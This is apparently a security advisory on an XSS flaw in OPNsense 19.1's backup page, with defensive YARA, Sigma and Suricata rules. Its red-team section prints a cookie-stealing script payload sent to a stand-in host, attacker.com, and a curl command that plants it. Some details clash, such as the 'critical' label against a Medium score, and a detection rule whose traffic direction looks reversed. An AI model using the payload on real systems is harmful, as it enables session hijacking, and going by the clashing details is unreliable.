CVE-2019-25368

Executive Summary

CVE-2019-25368 is a critical Cross-Site Scripting (XSS) vulnerability affecting OPNsense version 19.1. The flaw resides in the diag_backup.php endpoint, where multiple parameters fail to sanitize user input, allowing attackers to inject arbitrary JavaScript. An authenticated administrator visiting a crafted link or submitting a malicious POST request can trigger script execution in the context of their session. This can lead to session hijacking, credential theft, or further compromise of the firewall appliance. The vulnerability has a public proof-of-concept (PoC) but no official patch has been confirmed.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the OPNsense web interface directly. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but realistically 6.1 (Medium) based on CVSS:3.1 vector.
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires authenticated admin session)
• User Interaction: Required (admin must click or submit)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires authenticated admin interaction, but impact can be severe if combined with other attacks.

Deep Dive & Mechanics

The vulnerability is a classic stored/reflected XSS in the diag_backup.php script. The endpoint is used for backup configuration to cloud services (Google Drive, Nextcloud). The following parameters are unsanitized:

• GDrive_GDriveEmail
• GDrive_GDriveFolderID
• GDrive_GDriveBackupCount
• Nextcloud_url
• Nextcloud_user
• Nextcloud_password
• Nextcloud_password_encryption
• Nextcloud_backupdir

When an administrator submits a POST request to diag_backup.php with malicious JavaScript in any of these fields, the script is stored and later rendered without proper encoding. For example, an attacker can craft a URL like:

https://target.opnsense/diag_backup.php?GDrive_GDriveEmail=<script>alert('XSS')</script>

If the admin visits this URL, the script executes in their browser. Alternatively, a persistent XSS can be achieved by submitting a form with malicious payloads, which will execute every time the backup page is loaded.

Vulnerable vs. Patched Code

Vulnerable Code (OPNsense 19.1): The diag_backup.php script directly echoes user input without sanitization. Example snippet:

<?php
$email = $_POST['GDrive_GDriveEmail'];
echo "<input type='text' name='GDrive_GDriveEmail' value='$email'>";
?>

Patched Code (Hypothetical): A proper fix would use htmlspecialchars() or equivalent to escape output:

<?php
$email = htmlspecialchars($_POST['GDrive_GDriveEmail'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='GDrive_GDriveEmail' value='$email'>";
?>

No official patch has been released by OPNsense for this specific CVE.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy OPNsense 19.1 in a lab environment (e.g., VirtualBox). Ensure the web interface is accessible.
2. Craft Payload: Use a simple JavaScript payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Exploit via POST: Use curl to submit the payload:

   curl -X POST https://target.opnsense/diag_backup.php \
     -d "GDrive_GDriveEmail=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
   

4. Trigger: The admin must visit the backup page or the attacker can send a crafted link.

Blue Team (Defense & Detection)

1. Monitor Logs: Look for unusual POST requests to /diag_backup.php with script-like parameters.
2. Web Application Firewall (WAF): Deploy rules to block <script> tags in form fields.
3. Content Security Policy (CSP): Implement strict CSP headers to prevent inline script execution.
4. Input Validation: Ensure all user inputs are sanitized on the server side.

Indicators of Compromise (IOCs)

• Network: POST requests to /diag_backup.php containing <script> tags in parameters.
• Logs: Web server logs showing GDrive_GDriveEmail=<script> or similar patterns.
• File System: Modified backup configuration files with embedded JavaScript.
• Browser: Unexpected redirects or cookie theft from the OPNsense admin interface.

Detection Engineering

YARA Rule

rule CVE_2019_25368_XSS {
    meta:
        description = "Detects XSS payloads targeting OPNsense diag_backup.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25368"
    strings:
        $xss1 = /GDrive_GDriveEmail=.*<script/i
        $xss2 = /Nextcloud_url=.*<script/i
        $xss3 = /GDrive_GDriveFolderID=.*<script/i
    condition:
        any of them
}

Sigma Rule

title: OPNsense diag_backup.php XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against OPNsense diag_backup.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'diag_backup.php'
        cs-uri-query|contains|all:
            - 'GDrive_GDriveEmail'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in backup configuration (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25368 OPNsense diag_backup.php XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"diag_backup.php"; http_uri;
    content:"GDrive_GDriveEmail"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2019-25368;
)

Remediation & Mitigation

1. Immediate: Restrict access to /diag_backup.php to trusted IPs only.
2. Short-term: Apply input validation and output encoding manually if source code is accessible.
3. Long-term: Upgrade to a patched version of OPNsense (if available) or apply vendor-supplied fix.
4. Compensating Controls: Use a WAF to block XSS patterns, enforce CSP headers, and enable HTTP-only cookies.
5. Monitor: Continuously monitor logs for exploitation attempts.

Valters IT